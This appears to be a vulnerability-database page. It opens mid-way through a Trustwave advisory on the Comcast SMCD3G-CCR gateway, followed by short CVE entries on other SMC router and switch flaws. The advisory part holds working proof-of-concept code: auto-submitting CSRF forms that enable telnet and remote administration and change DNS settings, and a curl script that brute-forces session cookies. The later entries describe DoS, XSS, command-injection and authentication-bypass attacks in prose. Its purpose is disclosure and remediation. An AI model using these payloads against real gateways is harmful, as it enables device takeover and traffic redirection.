name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e \u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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VAR-200307-0002
Vulnerability from variot - Updated: 2025-04-03 22:26SMC Networks Barricade Wireless Cable/DSL Broadband Router SMC7004VWBR allows remote attackers to cause a denial of service via certain packets to PPTP port 1723 on the internal interface. A vulnerability has been discovered in the SMC SMC7004VWBR wireless router. The problem is said to occur while processing a sequence of malformed PPTP packets received via the local interface. Successful exploitation of this vulnerability will result in the router no longer responding to internal wireless traffic. SMC7004VWBR does not correctly process malformed PPTP packets. Remote attackers can use this vulnerability to conduct denial of service attacks on the device and prevent legitimate users from accessing network resources. By default, the router listens on TCP port 1723. The attacker connects to the target network through the 802.11b wireless network interface card and sends a series of malformed PPTP data, which can cause the router to stop responding, and legitimate users cannot access network resources
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VAR-202001-1810
Vulnerability from variot - Updated: 2024-11-23 22:55SMC D3G0804W 3.5.2.5-LAT_GA devices allow XSS via the SSID field on the WiFi Network Configuration page (after a successful login to the admin account). SMC D3G0804W The device contains a cross-site scripting vulnerability.The information may be obtained and the information may be falsified. SMC Networks SMC D3G0804W is a wireless router made by SMC Networks in the United States.
SMC Networks SMC D3G0804W 3.5.2.5-LAT_GA version has a cross-site scripting vulnerability. The vulnerability stems from the lack of correct verification of client data in WEB applications. An attacker can use this vulnerability to execute client code
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VAR-202001-1651
Vulnerability from variot - Updated: 2024-11-23 22:16SMC Networks D3G0804W D3GNV5M-3.5.1.6.10_GA devices allow remote command execution by leveraging access to the Network Diagnostic Tools screen, as demonstrated by an admin login. The attacker must use a Parameter Pollution approach against goform/formSetDiagnosticToolsFmPing by providing the vlu_diagnostic_tools__ping_address parameter twice: once with a shell metacharacter and a command name, and once with a command argument. SMC Networks D3G0804W The device contains an unspecified vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. SMC Networks D3G0804W is a SMC network device.
The SMC Networks D3G0804W network diagnostic tool has a security vulnerability. Remote attackers can use this vulnerability to submit special requests and execute arbitrary commands
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VAR-200309-0036
Vulnerability from variot - Updated: 2022-05-17 01:47The SMC2404WBR is a wireless CABLE/DSL broadband router. SMC routers cannot properly handle randomly sent UDP packet port scans. Remote attackers can exploit this vulnerability to perform denial of service attacks on routers. Sending random UDP packets to ports 0-65000 on the router can cause the router to hang and stop responding to normal services. A denial of service has been reported in the SMC SMC2404WBR BarricadeT Turbo 11/22 Mbps Wireless Cable/DSL Broadband Router. This condition was reportedly reproduced using one of the exploits for BID 8525. The SMC7004VWBR router is also affected by this vulnerability
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CVE-2012-2974 (GCVE-0-2012-2974)
Vulnerability from nvd – Published: 2012-07-19 15:00 – Updated: 2024-08-06 19:50
VLAI
Summary
The web interface on the SMC SMC8024L2 switch allows remote attackers to bypass authentication and obtain administrative access via a direct request to a .html file under (1) status/, (2) system/, (3) ports/, (4) trunks/, (5) vlans/, (6) qos/, (7) rstp/, (8) dot1x/, (9) security/, (10) igmps/, or (11) snmp/.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| http://www.securitytracker.com/id?1027285 | vdb-entryx_refsource_SECTRACK |
| http://www.kb.cert.org/vuls/id/377915 | third-party-advisoryx_refsource_CERT-VN |
Date Public
2012-07-11 00:00
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CVE-2012-2974 (GCVE-0-2012-2974)
Vulnerability from cvelistv5 – Published: 2012-07-19 15:00 – Updated: 2024-08-06 19:50
VLAI
Summary
The web interface on the SMC SMC8024L2 switch allows remote attackers to bypass authentication and obtain administrative access via a direct request to a .html file under (1) status/, (2) system/, (3) ports/, (4) trunks/, (5) vlans/, (6) qos/, (7) rstp/, (8) dot1x/, (9) security/, (10) igmps/, or (11) snmp/.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| http://www.securitytracker.com/id?1027285 | vdb-entryx_refsource_SECTRACK |
| http://www.kb.cert.org/vuls/id/377915 | third-party-advisoryx_refsource_CERT-VN |
Date Public
2012-07-11 00:00
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